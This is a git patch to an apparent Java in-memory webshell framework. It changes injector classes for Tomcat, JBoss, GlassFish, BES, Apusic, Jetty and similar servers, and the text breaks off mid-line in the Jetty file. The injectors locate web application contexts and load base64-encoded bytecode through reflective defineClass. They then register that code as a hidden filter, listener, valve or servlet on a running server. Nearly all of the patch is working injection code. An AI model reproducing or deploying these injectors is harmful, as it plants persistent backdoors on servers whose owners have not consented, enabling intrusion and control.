From fc3ee3e33f40c89ba71a1465aab3f80bd2c3d63c Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 22 May 2025 21:53:53 +0800 Subject: [PATCH] feat: support webAppClassLoader --- integration-test/script/bes_pid.sh | 2 + .../javaweb/integration/ContainerTool.java | 1 + .../injector/apusic/ApusicFilterInjector.java | 17 +++-- .../apusic/ApusicListenerInjector.java | 10 ++- .../apusic/ApusicServletInjector.java | 10 ++- .../injector/bes/BesFilterInjector.java | 29 +++++--- .../injector/bes/BesListenerInjector.java | 22 ++++--- .../injector/bes/BesValveInjector.java | 22 ++++--- .../glassfish/GlassFishFilterInjector.java | 38 ++++++----- .../glassfish/GlassFishListenerInjector.java | 20 +++--- .../glassfish/GlassFishValveInjector.java | 18 +++-- .../injector/jboss/JbossFilterInjector.java | 51 +++++++------- .../injector/jboss/JbossListenerInjector.java | 60 +++++++++-------- .../injector/jboss/JbossValveInjector.java | 22 ++++--- .../injector/jetty/JettyFilterInjector.java | 17 +++-- .../injector/jetty/JettyListenerInjector.java | 17 +++-- .../injector/jetty/JettyServletInjector.java | 20 ++++-- .../injector/resin/ResinFilterInjector.java | 24 ++++--- .../injector/resin/ResinListenerInjector.java | 15 +++-- .../injector/resin/ResinServletInjector.java | 20 +++--- .../injector/tomcat/TomcatFilterInjector.java | 66 +++++++++---------- .../tomcat/TomcatListenerInjector.java | 18 +++-- .../tomcat/TomcatServletInjector.java | 41 ++++++------ .../injector/tomcat/TomcatValveInjector.java | 4 +- .../tomcat/TomcatWebSocketInjector.java | 33 ++++++---- .../tongweb/TongWebFilterInjector.java | 34 +++++++--- .../tongweb/TongWebListenerInjector.java | 18 +++-- .../tongweb/TongWebValveInjector.java | 22 ++++--- .../undertow/UndertowFilterInjector.java | 18 +++-- .../undertow/UndertowListenerInjector.java | 20 ++++-- .../undertow/UndertowServletInjector.java | 16 +++-- .../weblogic/WebLogicFilterInjector.java | 20 ++++-- .../weblogic/WebLogicListenerInjector.java | 12 +++- .../weblogic/WebLogicServletInjector.java | 20 ++++-- .../websphere/WebSphereFilterInjector.java | 37 +++++------ .../websphere/WebSphereListenerInjector.java | 36 ++++++++-- .../websphere/WebSphereServletInjector.java | 15 +++-- 37 files changed, 533 insertions(+), 332 deletions(-) create mode 100755 integration-test/script/bes_pid.sh diff --git a/integration-test/script/bes_pid.sh b/integration-test/script/bes_pid.sh new file mode 100755 index 00000000..fc979244 --- /dev/null +++ b/integration-test/script/bes_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +pgrep -f 'ASMain|GlassFishMain' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index da2569c0..595c3b4a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -31,6 +31,7 @@ public class ContainerTool { public static final MountableFile resinPid = MountableFile.forHostPath(Path.of("script", "resin_pid.sh")); public static final MountableFile jbossPid = MountableFile.forHostPath(Path.of("script", "jboss_pid.sh")); public static final MountableFile glassfishPid = MountableFile.forHostPath(Path.of("script", "glassfish_pid.sh")); + public static final MountableFile besPid = MountableFile.forHostPath(Path.of("script", "bes_pid.sh")); public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script", "jetty_pid.sh")); public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script", "websphere_pid.sh")); public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script", "weblogic_pid.sh")); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index 82a3a356..a31a7f10 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -45,6 +45,10 @@ public class ApusicFilterInjector { return "{{base64Str}}"; } + /** + * com.apusic.web.container.WebContainer + * /usr/local/ass/lib/apusic.jar + */ public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -56,12 +60,17 @@ public class ApusicFilterInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "loader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 82d173c5..4df006df 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -54,9 +54,17 @@ public class ApusicListenerInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "loader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = context.getClass().getClassLoader(); + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 3334f168..cb020ebe 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -55,9 +55,17 @@ public class ApusicServletInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "loader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = context.getClass().getClassLoader(); + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index e6a6f44f..885afbcb 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -45,6 +45,10 @@ public class BesFilterInjector { return "{{base64Str}}"; } + /** + * com.bes.enterprise.webtier.core.DefaultContext + * /opt/bes/lib/bes-engine.jar + */ public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -54,21 +58,25 @@ public class BesFilterInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -87,8 +95,9 @@ public class BesFilterInjector { log.warning("filter already exists"); return; } - Object filterDef = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance(); - Object filterMap = context.getClass().getClassLoader().loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance(); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Object filterDef = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterDef").newInstance(); + Object filterMap = contextClassLoader.loadClass("com.bes.enterprise.web.util.descriptor.web.FilterMap").newInstance(); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); @@ -100,7 +109,7 @@ public class BesFilterInjector { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } - Constructor[] constructors = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors(); + Constructor[] constructors = contextClassLoader.loadClass("com.bes.enterprise.webtier.core.ApplicationFilterConfig").getDeclaredConstructors(); constructors[0].setAccessible(true); Object filterConfig = constructors[0].newInstance(context, filterDef); HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index b3b16e10..500c2e09 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -50,21 +50,25 @@ public class BesListenerInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -143,7 +147,7 @@ public class BesListenerInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -163,8 +167,6 @@ public class BesListenerInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index f64251ff..ba0fe017 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -46,21 +46,25 @@ public class BesValveInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -145,7 +149,7 @@ public class BesValveInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -165,8 +169,6 @@ public class BesValveInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index 31510323..06a0ea2c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -44,6 +44,10 @@ public class GlassFishFilterInjector { return "{{base64Str}}"; } + /** + * com.sun.enterprise.web.WebModule + * /usr/local/glassfish/modules/web-glue.jar + */ public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -60,12 +64,18 @@ public class GlassFishFilterInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -84,8 +94,9 @@ public class GlassFishFilterInjector { log.warning("filter already exists"); return; } - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); @@ -97,15 +108,12 @@ public class GlassFishFilterInjector { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); } - try { - Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); - constructors[0].setAccessible(true); - Object filterConfig = constructors[0].newInstance(context, filterDef); - HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); - filterConfigs.put(filterName, filterConfig); - log.info("filter added successfully"); - } catch (Exception ignored) { - } + Constructor[] constructors = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFieldValue(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + log.info("filter added successfully"); } @SuppressWarnings("all") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java index 662c06da..a4642686 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishListenerInjector.java @@ -57,12 +57,18 @@ public class GlassFishListenerInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -78,7 +84,7 @@ public class GlassFishListenerInjector { public void inject(Object context, Object listener) throws Exception { List eventListeners = (List) invokeMethod(context, "getApplicationEventListeners", null, null); for (EventListener eventListener : eventListeners) { - if (eventListener.getClass().getName().equals(listener.getClass().getName())) { + if (eventListener.getClass().getName().equals(getClassName())) { log.warning("listener already exists"); return; } @@ -142,7 +148,7 @@ public class GlassFishListenerInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -162,8 +168,6 @@ public class GlassFishListenerInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 43c93454..efabeb39 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -53,12 +53,18 @@ public class GlassFishValveInjector { return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -144,7 +150,7 @@ public class GlassFishValveInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -164,8 +170,6 @@ public class GlassFishValveInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java index 50cbcfa5..88ab23a0 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossFilterInjector.java @@ -43,6 +43,10 @@ public class JbossFilterInjector { return "{{base64Str}}"; } + /** + * org.apache.catalina.core.StandardContext + * /usr/local/jboss/server/default/deploy/jboss-web.deployer/jbossweb.jar + */ public List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); @@ -52,23 +56,27 @@ public class JbossFilterInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { - return Class.forName(getClassName(), false, classLoader).newInstance(); + return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); @@ -84,8 +92,9 @@ public class JbossFilterInjector { System.out.println("filter already injected"); return; } - Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); - Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); @@ -97,20 +106,12 @@ public class JbossFilterInjector { invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); } - Constructor[] constructors; - constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + Constructor[] constructors = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); constructors[0].setAccessible(true); - try { - Object filterConfig = constructors[0].newInstance(context, filterDef); - Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); - filterConfigs.put(getClassName(), filterConfig); - System.out.println("filter injected successfully"); - } catch (Exception e) { - // 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到 - if (!(e.getCause() instanceof ClassNotFoundException)) { - throw e; - } - } + Object filterConfig = constructors[0].newInstance(context, filterDef); + Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); + filterConfigs.put(getClassName(), filterConfig); + System.out.println("filter injected successfully"); } @SuppressWarnings("all") @@ -147,7 +148,7 @@ public class JbossFilterInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -167,8 +168,6 @@ public class JbossFilterInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java index 48d9fbc6..1a411972 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossListenerInjector.java @@ -47,32 +47,34 @@ public class JbossListenerInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - Object obj; - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { - obj = classLoader.loadClass(getClassName()).newInstance(); + return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); - obj = clazz.newInstance(); + return clazz.newInstance(); } - return obj; } @SuppressWarnings("all") @@ -179,24 +181,28 @@ public class JbossListenerInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception { - Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); - Method method = null; - while (clazz != null && method == null) { - try { - if (paramClazz == null) { - method = clazz.getDeclaredMethod(methodName); - } else { - method = clazz.getDeclaredMethod(methodName, paramClazz); + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); } - } catch (NoSuchMethodException e) { - clazz = clazz.getSuperclass(); } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); } - if (method == null) { - throw new NoSuchMethodException("Method not found: " + methodName); - } - method.setAccessible(true); - return method.invoke(obj instanceof Class ? null : obj, param); } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java index a69abb57..3876858c 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jboss/JbossValveInjector.java @@ -46,21 +46,25 @@ public class JbossValveInjector { Collection values = childrenMap.values(); for (Object value : values) { Map children = (Map) getFieldValue(value, "children"); - for (Object context : children.values()) { - contexts.add(context); - } + contexts.addAll(children.values()); } } } return contexts; } + private ClassLoader getWebAppClassLoader(Object context) { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); + } catch (Exception e) { + Object loader = invokeMethod(context, "getLoader", null, null); + return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null)); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader classLoader = getWebAppClassLoader(context); try { return classLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { @@ -147,7 +151,7 @@ public class JbossValveInjector { } @SuppressWarnings("all") - public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { try { Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); Method method = null; @@ -167,8 +171,6 @@ public class JbossValveInjector { } method.setAccessible(true); return method.invoke(obj instanceof Class ? null : obj, param); - } catch (NoSuchMethodException e) { - throw e; } catch (Exception e) { throw new RuntimeException("Error invoking method: " + methodName, e); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index da404d08..37c1d122 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -152,19 +152,24 @@ public class JettyFilterInjector { return contexts; } + public ClassLoader getWebAppClassLoader(Object context) throws Exception { + try { + return ((ClassLoader) invokeMethod(context, "getClassLoader")); + } catch (Exception e) { + return ((ClassLoader) getFieldValue(context, "_classLoader")); + } + } + @SuppressWarnings("all") private Object getShell(Object context) throws Exception { - ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); - if (classLoader == null) { - classLoader = context.getClass().getClassLoader(); - } + ClassLoader webAppClassLoader = getWebAppClassLoader(context); try { - return classLoader.loadClass(getClassName()).newInstance(); + return webAppClassLoader.loadClass(getClassName()).newInstance(); } catch (Exception e) { byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class clazz = (Class) defineClass.invoke(classLoader, 